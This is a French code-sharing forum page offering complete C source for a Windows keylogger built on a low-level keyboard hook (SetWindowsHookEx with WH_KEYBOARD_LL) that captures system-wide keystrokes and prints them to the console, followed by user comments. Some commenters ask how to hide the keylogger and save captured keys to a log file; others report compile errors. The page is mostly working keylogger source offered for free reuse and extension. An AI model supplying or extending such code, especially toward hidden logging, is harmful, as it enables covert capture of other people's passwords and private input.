Keylogger hook clavier (sans dll)

Soyez le premier à donner votre avis sur cette source.

Vue 39 106 fois - Téléchargée 4 333 fois

Description

Voila j'ai fais un hook clavier de base sans aucune dll vous pouvez y rajouter vos options le code se compile en simple fichier source sous dev c++, ce code est libre si vous l'améliorer tenez moi au courrant !

je propose de rajouter un hook souris ...

ps : l' executable est disponible dans le .ZIP.

Source / Exemple :


#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

// Global instance du hook
HHOOK hKeyHook;

// Gestion du hook
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
 
    // Action du clavier et les touches tappées
    if  ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
       
        // conversion du code -> ascii 
        BYTE KeyState[256];
        WORD wBuf;
        char ch;
        
        // Structure pour récupération des informations
        KBDLLHOOKSTRUCT hooked =  *((KBDLLHOOKSTRUCT*)lParam);

        /* Traitement récupération dec codes des touches */
        
        // Etat du clavier
        GetKeyboardState(KeyState);

        // Conversion code > ascii
        ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0);
        
        //on rajoute les touches non traitées par le hook
        switch(hooked.vkCode){
        
               case 9 :{printf("<TAB>");break;}
               case 13 :{printf("<ENTER>");break;}
               case VK_BACK :{printf("<delete>");break;}
               case VK_DELETE: {printf("<Suppr>");break;}
       
               /* vous pouvez rajouter vos traitements perso ici ! */
                
                default : { // on affiche les touches tappées
                       ch=((char)wBuf); 
                       printf("%c",ch);
                       break;
                }
             
        }
        

    }
    // Renvoi des messages au sytème
    return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}

 
// Boucle des messages 
void MsgLoop()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0)) {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}

DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
    // Récuperation de l'instance de notre executable
    HINSTANCE hExe = GetModuleHandle(NULL);
    if (!hExe) return 1;

    // on demarre le hook
    hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
    if(hKeyHook==NULL)
        printf("[le hook clavier a plante !]\n");
    else
        printf("[hook clavier en cours ...]\n");
        
    // Boucle des messages
    MsgLoop();
    
    // on desactive le hook
    if(UnhookWindowsHookEx(hKeyHook)==0)
          printf("[desactivation du Hook echoue !]");
    else
          printf("[la desactivation du hook c'est passee correctement]"); 
          
    return 0;
}
 

int main(int argc, char *argv[])
{
    // initialisation des options pour la fonction CreateThread 
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;
    printf("\n[Exemple de Hook Clavier] by tOnyh2\n");
        
    // on crée le thread qui va démarrer le hook
    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);

    if (hThread) {
        // Attente à l'infini
        return WaitForSingleObject(hThread,INFINITE);
    } else {
        return 0;
    }
}

Conclusion :


rien de serieux prévu pour l'instant... ^^

Codes Sources

A voir également

Ajouter un commentaire

Commentaires

Messages postés
18
Date d'inscription
vendredi 4 avril 2008
Statut
Membre
Dernière intervention
20 juin 2010

comment faire pour que le keylog soit caché et qu'il écrive directement dans un fichier log ?
Messages postés
467
Date d'inscription
mercredi 12 août 2009
Statut
Membre
Dernière intervention
17 octobre 2011

Merci, tu contribus au bidouillage et à l'évolution du Dev open source!
Messages postés
41
Date d'inscription
vendredi 31 mars 2006
Statut
Membre
Dernière intervention
11 mai 2009

Belle source mais à la compilation j'ai cette erreur "error C2440: 'type cast' : cannot convert from 'long' to 'struct tagKBDLLHOOKSTRUCT'
No constructor could take the source type, or constructor overload resolution was ambiguous"

Je précise que je travaille sur Visual C++ 6.

Merci.
Messages postés
45
Date d'inscription
vendredi 2 septembre 2005
Statut
Membre
Dernière intervention
28 juin 2009

J'ai inclus stdafx.h correctement, les warnings restent mais la compilation marche.
J'ai une question cependant, quelqu'un aurait-il une idée de comment sauvegarder le contenu entré dans un fichier .txt ?
Merci infiniment
Messages postés
45
Date d'inscription
vendredi 2 septembre 2005
Statut
Membre
Dernière intervention
28 juin 2009

Bonjour, voilà, à la compilation, j'obtiens les erreurs suivantes :

75 C:\Dev-Cpp\hookclavier.c [Warning] passing arg 4 of `SetWindowsHookExA' makes integer from pointer without a cast

103 C:\Dev-Cpp\hookclavier.c [Warning] passing arg 2 of `CreateThread' makes integer from pointer without a cast

103 C:\Dev-Cpp\hookclavier.c [Warning] passing arg 5 of `CreateThread' makes integer from pointer without a cast

Quelqu'un peut m'éclairer ?
Merci
Afficher les 27 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.